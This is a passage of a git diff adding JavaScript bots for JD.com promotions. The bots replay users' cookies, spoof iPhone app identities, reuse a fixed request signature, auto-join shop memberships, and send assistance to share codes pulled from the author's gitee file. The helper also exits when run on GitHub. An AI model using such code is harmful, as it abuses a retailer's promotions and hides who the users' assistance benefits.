`https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz2-isv.isvjcloud.com/${function_id}` : `https://lzdz2-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz2-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz2-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz2-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz2-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz2-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.venderId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz2_fashion1.js b/backUp/jd_lzdz2_fashion1.js new file mode 100644 index 0000000..f5da30e --- /dev/null +++ b/backUp/jd_lzdz2_fashion1.js @@ -0,0 +1,539 @@ +/* +时尚宠粉趴 +https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b +**/ + +const $ = new Env("时尚宠粉趴"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +let RUSH = false; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.RUSH && process.env.RUSH != "") { + RUSH = process.env.RUSH; + } +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_fashion.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'b3b3f59c9015493a9d8e2f1d5d9b92ea', + ] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + console.log('更新ck'); + continue + } + // authorCodeList = [ + // 'b3b3f59c9015493a9d8e2f1d5d9b92ea', + // ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = '1ad06f0cb93e4928a894e3b984c2fa4b' + $.activityShopId = '59809' + $.activityUrl = `https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + if (RUSH) { + await rush(); + await $.wait(1000) + console.log("重复执行一次,技术有限不知道为什么") + await rush(); + } else { + console.log("默认不开卡:请设置环境变量 RUSH = true") + } + + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + $.openStatusNum = 0 + await getFirstLZCK() + await getToken(); + await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力: "+$.authorCode) + await $.wait(1000) + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(1000) + await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + for(let i in $.openInfo){ + console.log($.openInfo[i]) + if(!$.openInfo[i]['openStatus']){ + console.log("加入会员: "+$.openInfo[i]['venderId']) + await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) + await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) + await $.wait(1000) + } + } + console.log("关注店铺: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) + await $.wait(1000) + console.log("流览会场: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) + } + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityShopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + break; + case 'fashion/recruit/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log("你的助力码 -> "+ownCode) + } + $.activityContent = data.data; + 